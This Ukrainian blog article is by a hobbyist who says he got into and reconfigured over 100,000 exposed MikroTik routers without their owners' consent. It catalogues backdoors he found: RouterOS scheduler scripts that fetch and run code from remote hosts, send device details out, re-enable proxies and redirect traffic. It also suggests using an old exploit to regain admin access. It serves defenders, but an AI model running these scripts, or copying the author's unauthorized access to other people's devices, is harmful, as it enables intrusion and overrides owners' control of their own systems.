Для чого хакерам Микротик і як я сховав 100 тис. RouterOS від ботнету

RouterOS дуже потужний інструмент в руках професіоналів і відповідальних фахівців. Але в руках новачків або тих, хто робить все на «і так зійде» Mikrotik починає жити своїм життям і перетворюється в ноду ботнету.

Ще в травні 2018 я писав статтю з рекомендаціями як захистити свій Микротик.

Як не дивно, але в мережі досі тисячі «відкритих» роутерів Mikrotik і армія ботнету поповнюється.

Я у вільний від роботи і відпочинку час шукав вразливі пристрою по всій мережі і робив налаштування у відповідності зі своїми рекомендаціями, тобто додавав правила фаєрвола, які закривали доступ до роутера не з локальної мережі. В коментарях писав інформацію про уразливості і залишав адреса телеграм-каналу @router_os, де можна було мені задати питання (у нормального адміна вони повинні були з’явитися).

З травня по сьогоднішній день я «вирвав» з лап ботнету понад 100 тисяч пристроїв Mikrotik.

Враховуючи те, що я не можу виступити на MUM 2018 в Москві, то свою доповідь я вирішив опублікувати на habr.com

У мережі багато аналітики як саме використовуються RouterOS хакерами (наприклад тут). Але моя стаття заснована особисто на моєму досвіді.

Адміни і їх реакція

По всьому світу адміни маршрутизаторів рано чи пізно виявляли у себе таку пасхалку.

/system note/system note print
show-at-login: yes
note: I closed the vulnerability with a firewall. Please update RouterOS. You can say thanks on the WebMoney Z399578297824 or BTC 14qiYkk3nUgsdqQawiMLC1bUGDZWHowix1. My Telegram http://t.me/router_os

Більшість тихо закривало діру. Хтось не полінувалися мені написати «дякую». Але були і ті, хто голосно обурювався не розібравшись.

Нормальний спеціаліст повинен адекватно реагувати коли йому вказують на його помилку.

За весь час мені написало не більше 50 осіб…

Так як реакція людей була мінімальна, то я прийшов до висновку, що переважна більшість навіть і не помітить, що то на роутері не так. Тому я став допрацьовувати свій скрипт, який крім правил фаєрволу буде видаляти відомі мені backdoors, які залишили зловмисники.

Логічно, що мій метод влаштовує не всіх. Але іншого підходу для виконання даного завдання я не придумав ще.

Хакери люблять RouterOS

У переважній більшості випадків я потрапляв на пристрій, який вже кимось заражене. Я, на жаль, не одразу став аналізувати їх вміст. Ось що я знайшов і що буде вірною ознакою, що ваш роутер скомпрометований.

Web-і Socks проксі

Саме банальне використання маршрутизатора через стандартні веб і socks проксі. Якщо ви їх не використовуєте, але вони включені, то просто вимкніть їх.

/ip proxy set enabled=no
/ip сокет set enabled=no

Але щоб просто так не вийшло вимкнути хакер додає в шедулер скрипт, якій проксі включить через деякий час:

/system script/system scheduler
add interval=10m name="port 54321" on-event="port 54321" policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon
start-date=sep/02/2018 start-time=20:35:53
/system script
add name="port 54321" owner=gateway policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source="/
ip firewall remove filter [/ip firewall filter find where comment ~ "port
_[0-9]*"];/ip socks set enabled=yes port=54321 max-connections=255 conne
ction-idle-timeout=60;/ip сокет access remove [/ip сокет access find];/ip
firewall filter add chain=input protocol=tcp port=54321 action=accept comm
ent="port 54321";/ip firewall filter move [/ip firewall filter find comm
ent="port 54321"] 1;"

Ви можете виявити у себе файл webproxy/error.html який проксі вам підсовує, а він в свою чергу викликає майнер.

Зайві параметри з’являються і тут:

/ip proxy access print
/ip сокет access print

Script може все

У 90% дірявих Микротиков є скрипти /system script і для них встановлено розклад виконання /system scheduler.

За розкладом скачується скрипт, якої в подальшому виконується.

Установка майнера/system scheduler
add interval=11h name=upd113 on-event="/tool fetch url=http://gotan.bit:31415/
01/error.html mode=http dst-path=webproxy/error.html" policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=
aug/20/2018 start-time=03:28:02
add interval=9h name=upd115 on-event=
"/tool fetch url=http://gotan.bit:31415/01/u113.rsc mode=http" policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=
aug/20/2018 start-time=03:28:02
add interval=9h name=upd116 on-event="/import u113.rsc" policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=
aug/20/2018 start-time=03:28:12
add interval=1d name=Auto113 on-event="/reboot system" policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=
aug/20/2018 start-time=03:00:00
/system script
add name=script4_ owner=nivel2 policy=
ftp,reboot,read,write,policy,test,password,sensitive source="/tool fetch a
ddress=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http keep-resu
lt=no"

Ще один варіант скрипта, який після застосування намагається частково сховатися./system scheduler
add interval=11s name=MTIT on-event="/system run script MTIT" policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=
startup
add interval=25m name="DDNS Serv" on-event="/system run script iDDNS" policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=
startup
/system script
add name=MTIT owner=admin policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=
"/ping 10.12.0.26 interface=ether4 count=10"
add name=iDDNS owner=admin policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=":global
_mac [/interface ethernet get 1 mac-address]r
n:global port ([/ip service get winbox port]."_".[/ip socks get port].
"_".[/ip proxy get port])r
n:global info ([/ip сокет get enabled]."_".[/ip proxy get enabled]."_
".[/interface pptp-server server get enabled])r
n:global cmd "/$mac/$port/$info/dns"r
n/tool fetch address=91.134.24.238 src-path=$cmd mode=http dst-path=dns;
delay 3sr
n/import dns; delay 4s;/remove file dns"

Таким чином у зловмисників завжди є можливість «згодувати» новий скрипт і, наприклад, провести масштабну DDOS атаку.

Скрипти можуть бути заховані скрізь

Тому перевіряйте ці місця ретельно. На чистому RouterOS ці порожні місця.

DST-NAT

На мій превеликий подив, але багато таких пристроїв, на яких загорнутий трафік через /ip nat firewall.

Спам в dst-nat
/ip nat firewall
add action=masquerade chain=srcnat comment="default configuration"
add action=masquerade chain=srcnat
add action=dst-nat chain=dstnat dst-port=4444 protocol=tcp to-addresses=
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-port=8008 protocol=tcp to-addresses=
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=8008
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=443
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=25 protocol=
tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.52 dst-port=9999
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.186 dst-port=9999
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.89.69 dst-port=9999
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.70 dst-port=9999
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.104 dst-port=9999
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.72.197 dst-port=9999
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.180.118 dst-port=9999
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=151.80.59.84 dst-port=9999
protocol=tcp to-addresses=91.92.128.187 to-ports=4444

Хороший спосіб приховати свій реальний ip.

VPN

Як же без нього. RouterOS вміє піднімати різні види vpn, але хакери найчастіше використовують pptp і L2TP.

Тому перевірте розділ /ppp secret

Навіть якщо розділ порожній, то спритні хакери можуть авторизуватись і через Radius.
Перевіряємо наявність записів /radius print
Якщо ви нічого не налаштовували, то там повинно бути порожнім. В іншому випадку варто очистити:
/radius remove numbers=[/radius find ]
І заборонити використовувати Radius
/ppp aaa set use-radius=no use-circuit-id-in-nas-port-id=no
Відключаємо використання Radius для авторизації на пристрої
/user aaa set use-radius=no

Якщо ви не використовуйте vpn, то вимкніть його
/interface l2tp-server server set enabled=no
/interface pptp-server server set enabled=no
/interface sstp-server server set enabled=no

DNS static

Без фишига так само не обійшлося. На роутерах в /ip dns static можна виявити і таке

Все дуже просто: ви в адресний рядок вбиваєте адресу сайту, який ви знаєте, а фактично потрапляєте на сервер злоумышлинника.

Видаляємо вміст

/ip dns static remove numbers=[/ip dns static find]

Урізання прав адміна

UPD: Так само є група роутерів, де хакер урізав права у admin і завів свого з повними правами (наприклад router і cnt), або просто відбирає права і оновлює прошивку на останню.

вміст /user у першому випадку[router@MikroTik] > /user print
Flags: X — disabled
# GROUP NAME ADDRESS LAST-LOGGED-IN
0 ;;; system default user
admin admin sep/18/2018 15:08:45
1 dima full sep/14/2018 19:54:00
2 router full sep/26/2018 09:23:41

[router@MikroTik] > /user group print
0 name=«read» policy=local,telnet,ssh,reboot,read,test,winbox,password,web,sniff,sensitive,api,romon,tikapp,!ftp,!write,!policy,!dude skin=default

1 name=«write» policy=local,telnet,ssh,reboot,read,write,test,winbox,password,web,sniff,sensitive,api,romon,tikapp,!ftp,!policy,!dude skin=default

2 name=«full» policy=local,telnet,ssh,ftp,reboot,read,write,policy,test,winbox,password,web,sniff,sensitive,api,romon,dude,tikapp skin=default

3 name=«admin» policy=local,ftp,reboot,read,write,test,winbox,password,web,sniff,sensitive,api,!telnet,!ssh,!policy,!romon,!dude,!tikapp skin=default

Як варіант вирішення цієї проблеми: через netinstall зробити downgrade на вразливу прошивку і скористатися эксплоитом.

Packet Sniffer

Колеги з Лабораторії Касперського згадали крадіжку трафіку по засобам його перенаправлення на невідомий вузол.

Вимкнути його можна так:
/tool sniffer stop
/tool sniffer set streaming-enabled=no filter-ip protocol="" filter-port="" filter-interface="" filter-stream=no

Проблема продукції Mikrotik

Абсолютно захищених систем не існує. А масове розповсюдження продукції Mikrotik так само спричинило масове вивчення цих пристроїв.
Так як функціонал RouterOS дозволяє виконувати величезну кількість завдань він цікавий і хакерам в тому числі.

З-за того, що продукт дуже динамічно розвивається, то і швидкість появи нових «дірок» теж велике. Не дивлячись на це, компанія Микротик оперативно випускає латочки для своїх систем.

Вихід

На сьогоднішній день єдиним вірним рішенням для захисту RouterOS — це коректно налаштований фаєрвол, який працює за принципом «заборонено все, що не дозволено».
А все тому, що Микротик використовує класичний фаєрвол Linux, який роками відточувався армією фахівців.

Якщо потрібен доступ до пристрою з глобальної мережі, то використовуйте принцип “port knocking”. Принцип «fail2ban» себе не завжди виправдовує, так як все одно виявляє пристрій.

Глобальні рішення

 

Режим ламера

В виду того, що пристрої дуже дешеві, то їх купують користувачі, які не мають спеціальних знань. Компанії Mikrotik необхідно розробити інтерфейс «ламера», який має мінімальну кількість налаштувань як і більшість SOHO роутерів. Причому він повинен бути за замовчуванням. А розширений режим користувач повинен включити усвідомлено сам. Поточний «Quick set» не достатньо хороший. Більш того з-за достатку кнопок юзер може і не помітити цю функцію.

Bug analyzer

Так само необхідний модуль, який проводить аналіз поточної конфігурації на можливі уразливості і повідомляє користувача, якщо вважає, що роутер може бути скомпрометований. Цей модуль повинен довантажувати «базу знань», яку наповнюють співробітники Mikrotik на підставі поширених помилок. А в разі серйозних вразливостей включати «аварійний режим.
Якщо я зміг систематизувати частина загроз, то розробники і поготів…

FireWall — як послуга провайдерів

Ринок «розумних» пристроїв дуже бурхливо розвиваються і вони далеко не все добре захищені. Більшість людей, які їх купують, так само не володіють спеціальними знаннями, щоб самостійно захистити свої гаджети.

Тому інтернет провайдерам пора створити комерційну послугу по захисту таких гаджетів. Банально користувач в особистому кабінеті вказує які порти відкрити з інтернету.
Так само провайдери можуть створити централізовану базу по існуючих пристроїв і їх нормальним потребам. Користувач вказує в ЛК які пристрої у нього використовуються. У разі нестандартного поведінки такого пристрою — повідомляти користувача.
Я вважаю, що ринок вже дозрів для такої послуги.

В цій послузі є наступні плюси:

  1. Для провайдера ще одна стаття доходу
  2. Скорочення паразитного трафіку
  3. Скорочуємо рекрутинг пристроїв в ботнет
  4. Популяризація країн послуг «розумний будинок»
  5. Користувачі можуть далі не морочитися своєю безпекою.

 

Трохи про себе

Спробую відповісти на питання, які напевно мені зададуть.

  1. Я працюю на посаді не пов’язаної з Mikrotik і мережами загалом.
  2. Тим не менш у мене є сертифікат MTCNA.
  3. Микротик — моє хобі. Все, що я роблю — мені просто подобається. Так сказати, «фану».
  4. Чому не влаштувався на роботу за профілем? Ті хто в нашому місті купує mikrotik багато платити ЗП не можуть. Ті, хто може мені платити достойну ЗП — купують cisco.
  5. В коментах в фаєрволі я вказував свої гаманці, але з травня мені закинули всього близько $40. У телеграм писали з різних країн, мовляв, у них немає wmz, але все одно «спасибі».

 

P. S.:

Поділіться вашим досвідом як ще хакери можуть використовувати Mikrotik.

You may also like...

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *